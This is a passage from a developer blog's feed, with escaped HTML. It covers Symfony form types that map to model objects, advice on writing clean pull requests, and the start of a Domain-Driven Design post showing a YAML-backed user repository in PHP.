&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;$form-&amp;gt;get(&apos;email&apos;)&lt;/code&gt; actually returns an &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Email&lt;/code&gt; object.&lt;/p&gt;

&lt;p&gt;For the record, here is the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;EmailType&lt;/code&gt; definition:&lt;/p&gt;

&lt;div class=&quot;language-php highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;cp&quot;&gt;&amp;lt;?php&lt;/span&gt;

&lt;span class=&quot;kn&quot;&gt;namespace&lt;/span&gt; &lt;span class=&quot;nn&quot;&gt;My\Form\Type&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;

&lt;span class=&quot;kn&quot;&gt;use&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;My\Model\Email&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;kn&quot;&gt;use&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;Symfony\Component\Form\AbstractType&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;kn&quot;&gt;use&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;Symfony\Component\Form\FormBuilderInterface&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;kn&quot;&gt;use&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;Symfony\Component\Form\FormInterface&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;kn&quot;&gt;use&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;Symfony\Component\OptionsResolver\OptionsResolverInterface&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;

&lt;span class=&quot;kd&quot;&gt;class&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;EmailType&lt;/span&gt; &lt;span class=&quot;kd&quot;&gt;extends&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;AbstractType&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;cd&quot;&gt;/**
     * {@inheritdoc}
     */&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;public&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;buildForm&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;FormBuilderInterface&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$builder&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;array&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$options&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;nv&quot;&gt;$builder&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;add&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;&apos;email&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;&apos;email&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;

    &lt;span class=&quot;cd&quot;&gt;/**
     * {@inheritdoc}
     */&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;public&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;setDefaultOptions&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;OptionsResolverInterface&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$resolver&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;nv&quot;&gt;$resolver&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;setDefaults&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;array&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;
            &lt;span class=&quot;s1&quot;&gt;&apos;data_class&apos;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&amp;gt;&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;&apos;My\Model\Email&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
            &lt;span class=&quot;s1&quot;&gt;&apos;empty_data&apos;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&amp;gt;&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;FormInterface&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$form&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
                &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;Email&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;
                    &lt;span class=&quot;nv&quot;&gt;$form&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;get&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;&apos;email&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;getData&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;
                &lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
            &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
        &lt;span class=&quot;p&quot;&gt;));&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;

    &lt;span class=&quot;c1&quot;&gt;// ...&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;No more excuse to write crappy model classes now!&lt;/p&gt;
</content>
    </entry>
    
    <entry>
        <title>On Creating Pull Requests</title>
        <link href="https://williamdurand.fr/2013/11/20/on-creating-pull-requests/"/>
        <updated>2013-11-20T00:00:00+00:00</updated>
        <id>https://williamdurand.fr/2013/11/20/on-creating-pull-requests</id>
        <content type="html">&lt;p&gt;As a &lt;a href=&quot;https://github.com/willdurand&quot;&gt;maintainer of various Open Source
projects&lt;/a&gt;, I use to manage quite a lot of issues
and &lt;strong&gt;P&lt;/strong&gt;ull &lt;strong&gt;R&lt;/strong&gt;equests (PRs). While &lt;strong&gt;issues&lt;/strong&gt; are often &lt;strong&gt;well-written&lt;/strong&gt;, I
must say that most of the &lt;strong&gt;Pull Requests&lt;/strong&gt; I see are &lt;strong&gt;not&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;Three years ago, I started contributing on Open Source. It took me some time to
release my own projects, and even more time to manage projects that people
actually used. I was so happy that I accepted almost all Pull Requests, often by
reworking them on my own. I thought it was a wise decision, but I was wrong.&lt;/p&gt;

&lt;p&gt;Creating a Pull Request to fix a bug or to implement a new feature in a project
is awesome. Really. From a maintainer point of view (or maybe just mine), it is
a &lt;strong&gt;gift&lt;/strong&gt;. &lt;strong&gt;Any contribution&lt;/strong&gt; to an Open Source project &lt;strong&gt;is a way to thank
its author&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;However, it does not mean that you, as a contributor, don’t have to follow a
couple of rules to get your work merged at some point. You may think that
spending time on fixing a bug is enough, but it is actually &lt;strong&gt;half the work&lt;/strong&gt;
you have to do while contributing to any Open Source project. You always have
to:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;work on the project;&lt;/li&gt;
  &lt;li&gt;fit the project’s philosophy.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The latest point includes coding standards, documentation, commit messages,
and any other things related to the targeted project. Thanks to
&lt;a href=&quot;https://github.com&quot;&gt;GitHub&lt;/a&gt;, these rules may be found in a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;CONTRIBUTING&lt;/code&gt;
file. Mine (for PHP projects) contains the following set of rules:&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;[…]&lt;/p&gt;

  &lt;p&gt;You MUST follow the &lt;a href=&quot;http://www.php-fig.org/psr/1/&quot;&gt;PSR-1&lt;/a&gt; and
&lt;a href=&quot;http://www.php-fig.org/psr/2/&quot;&gt;PSR-2&lt;/a&gt;. If you don’t know about any of them, you
should really read the recommendations. Can’t wait? Use the &lt;a href=&quot;http://cs.sensiolabs.org/&quot;&gt;PHP-CS-Fixer
tool&lt;/a&gt;.&lt;/p&gt;

  &lt;p&gt;You MUST run the test suite.&lt;/p&gt;

  &lt;p&gt;You MUST write (or update) unit tests.&lt;/p&gt;

  &lt;p&gt;You SHOULD write documentation.&lt;/p&gt;

  &lt;p&gt;Please, write &lt;a href=&quot;http://tbaggery.com/2008/04/19/a-note-about-git-commit-messages.html&quot;&gt;commit messages that make
sense&lt;/a&gt;,
and &lt;a href=&quot;http://git-scm.com/book/en/Git-Branching-Rebasing&quot;&gt;rebase your branch&lt;/a&gt;
before submitting your Pull Request.&lt;/p&gt;

  &lt;p&gt;One may ask you to &lt;a href=&quot;http://gitready.com/advanced/2009/02/10/squashing-commits-with-rebase.html&quot;&gt;squash your
commits&lt;/a&gt;
too. This is used to “clean” your Pull Request before merging it (we don’t want
commits such as &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;fix tests&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;fix 2&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;fix 3&lt;/code&gt;, etc.).&lt;/p&gt;

  &lt;p&gt;Also, while creating your Pull Request on GitHub, you MUST write a description
which gives the context and/or explains why you are creating it.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Hopefully, it is crystal clear. If it is not, please leave a comment.&lt;/p&gt;

&lt;p&gt;First, I describe the &lt;strong&gt;C&lt;/strong&gt;oding &lt;strong&gt;S&lt;/strong&gt;tandards (CS) I use in the project. Then,
I expect people to run the test suite, and to &lt;strong&gt;write tests&lt;/strong&gt; to prove the bug’s
existence, but also to prove that the fix works. Basically, &lt;strong&gt;no test, no
merge&lt;/strong&gt;. If you can’t come up with a fix, create a Pull Request with a failing
test case.&lt;/p&gt;

&lt;p&gt;If you want your patch to be merged, you should send clean commits. Most of the
time, a &lt;strong&gt;single commit&lt;/strong&gt; including the fix, some tests, and an update on the
documentation is enough. Once you have hacked on the project, &lt;a href=&quot;http://gitready.com/advanced/2009/02/10/squashing-commits-with-rebase.html&quot;&gt;squash your
commits&lt;/a&gt;
and send the result as a single commit.&lt;/p&gt;

&lt;p&gt;Last sentence is about the Pull Request itself, the one you will create on
GitHub. Most of the time, people don’t write any description. Please, &lt;strong&gt;start
writing Pull Request descriptions, now!&lt;/strong&gt; Give the context such as the “why”
(you need this feature) or the “how” (you found the bug you fixed).&lt;/p&gt;

&lt;p&gt;Also, the title of your Pull Request is important. Write a short yet clear
sentence giving the insight of your Pull Request. It is common to add a prefix
to the title, such as: &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;[WIP]&lt;/code&gt;, which stands for &lt;em&gt;Work In Progress&lt;/em&gt;; &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;[POC]&lt;/code&gt;
(Proof Of Concept), &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;[WCM]&lt;/code&gt; (Waiting Code Merge), etc.&lt;/p&gt;

&lt;p&gt;If you follow these rules, then maintainers will focus on the code while
reviewing your Pull Request and will be able to quickly merge it, rather than
wasting their time on trying to get something “mergeable”.&lt;/p&gt;

&lt;p&gt;Last but not the least, you may get a lot of feedback. Please, &lt;strong&gt;support your
Pull Request until it gets merged&lt;/strong&gt;. Don’t disappear!&lt;/p&gt;

&lt;p&gt;Thank you my heroes! ♥&lt;/p&gt;

&lt;h2 id=&quot;tldr&quot;&gt;TL;DR&lt;/h2&gt;

&lt;ul&gt;
  &lt;li&gt;Follow the rules of the project you are contributing to;&lt;/li&gt;
  &lt;li&gt;Attach clean commits to your Pull Request (rebase may help);&lt;/li&gt;
  &lt;li&gt;Write a description in your Pull Request, explaining the context.&lt;/li&gt;
  &lt;li&gt;More information at: &lt;a href=&quot;https://speakerdeck.com/willdurand/2015&quot;&gt;Git &amp;amp; GitHub &amp;amp; OpenSource&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
</content>
    </entry>
    
    <entry>
        <title>DDD with Symfony2: Basic Persistence &amp;amp; Testing</title>
        <link href="https://williamdurand.fr/2013/11/13/ddd-with-symfony2-basic-persistence-and-testing/"/>
        <updated>2013-11-13T00:00:00+00:00</updated>
        <id>https://williamdurand.fr/2013/11/13/ddd-with-symfony2-basic-persistence-and-testing</id>
        <content type="html">&lt;p&gt;After having described &lt;a href=&quot;/2013/08/07/ddd-with-symfony2-folder-structure-and-code-first/&quot;&gt;a decent folder
structure&lt;/a&gt; and
&lt;a href=&quot;/2013/08/20/ddd-with-symfony2-making-things-clear/&quot;&gt;made things clear&lt;/a&gt; about
DDD and this series, I will continue to bootstrap the sample application,
focusing on a &lt;strong&gt;basic persistence&lt;/strong&gt; layer and &lt;strong&gt;testing&lt;/strong&gt;. It is not tied to
DDD but it is worth writing about these two points.&lt;/p&gt;

&lt;p&gt;A &lt;strong&gt;basic persistence&lt;/strong&gt; layer is a layer that is &lt;strong&gt;simple&lt;/strong&gt;. In other words, it
does the job, period. It has poor performances, but it does not matter. What
matters is that you can develop your application without having to decide
whether you will use MySQL rather than a NoSQL database or an API for instance.&lt;/p&gt;

&lt;h2 id=&quot;the-yamluserrepository-repository&quot;&gt;The &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;YamlUserRepository&lt;/code&gt; Repository&lt;/h2&gt;

&lt;p&gt;Until now, the application used the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;InMemoryUserRepository&lt;/code&gt; described in the
&lt;a href=&quot;/2013/08/07/ddd-with-symfony2-folder-structure-and-code-first/&quot;&gt;first blog
post&lt;/a&gt; of this
series. In order to introduce new concepts later in this series, you need a real
persistence layer that is able to &lt;strong&gt;load&lt;/strong&gt; and &lt;strong&gt;store&lt;/strong&gt; data. That is why you
need a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;YamlUserRepository&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;For the record, &lt;a href=&quot;http://yaml.org/&quot;&gt;YAML&lt;/a&gt; is a data
serialization format that is both simple and &lt;strong&gt;human readable&lt;/strong&gt;. You don’t need
to focus on performance right now, so storing data in a file is ok.&lt;/p&gt;

&lt;p&gt;Here is the implementation of the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;YamlUserRepository&lt;/code&gt;. That might not be the
perfect/best implementation but it actually works:&lt;/p&gt;

&lt;div class=&quot;language-php highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;cp&quot;&gt;&amp;lt;?php&lt;/span&gt;

&lt;span class=&quot;kn&quot;&gt;namespace&lt;/span&gt; &lt;span class=&quot;nn&quot;&gt;Acme\CoreDomainBundle\Repository&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;

&lt;span class=&quot;kn&quot;&gt;use&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;Acme\CoreDomain\User\User&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;kn&quot;&gt;use&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;Acme\CoreDomain\User\UserId&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;kn&quot;&gt;use&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;Acme\CoreDomain\User\UserRepository&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;kn&quot;&gt;use&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;Symfony\Component\Filesystem\Filesystem&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;kn&quot;&gt;use&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;Symfony\Component\Yaml\Yaml&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;

&lt;span class=&quot;kd&quot;&gt;class&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;YamlUserRepository&lt;/span&gt; &lt;span class=&quot;kd&quot;&gt;implements&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;UserRepository&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;private&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$filename&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;

    &lt;span class=&quot;k&quot;&gt;public&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;__construct&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$filename&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;nv&quot;&gt;$this&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;filename&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$filename&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;

        &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;Filesystem&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;())&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;touch&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$this&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;filename&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;

    &lt;span class=&quot;cd&quot;&gt;/**
     * {@inheritDoc}
     */&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;public&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;find&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;UserId&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$userId&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;foreach&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$this&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;findAll&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;as&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$user&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
            &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$user&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;getId&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;isEqualTo&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$userId&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
                &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$user&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
            &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
        &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;

        &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;kc&quot;&gt;null&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;

    &lt;span class=&quot;cd&quot;&gt;/**
     * {@inheritDoc}
     */&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;public&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;findAll&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;nv&quot;&gt;$users&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;array&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;();&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;foreach&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$this&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;getRows&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;as&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$row&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
            &lt;span class=&quot;nv&quot;&gt;$users&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;User&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;
                &lt;span class=&quot;k&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;UserId&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$row&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;&apos;id&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]),&lt;/span&gt;
                &lt;span class=&quot;nv&quot;&gt;$row&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;&apos;first_name&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;],&lt;/span&gt;
                &lt;span class=&quot;nv&quot;&gt;$row&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;&apos;last_name&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;
            &lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
        &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;

        &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$users&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;

    &lt;span class=&quot;cd&quot;&gt;/**
     * {@inheritDoc}
     */&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;public&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;add&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;User&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$user&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;nv&quot;&gt;$rows&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;array&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;();&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;foreach&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$this&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;getRows&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;as&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$row&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
            &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$user&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;getId&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;isEqualTo&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;UserId&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$row&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;&apos;id&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;])))&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
                &lt;span class=&quot;k&quot;&gt;continue&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
            &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;

            &lt;span class=&quot;nv&quot;&gt;$rows&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$row&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
        &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;

        &lt;span class=&quot;nv&quot;&gt;$rows&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;array&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;
            &lt;span class=&quot;s1&quot;&gt;&apos;id&apos;&lt;/span&gt;         &lt;span class=&quot;o&quot;&gt;=&amp;gt;&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$user&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;getId&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;getValue&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(),&lt;/span&gt;
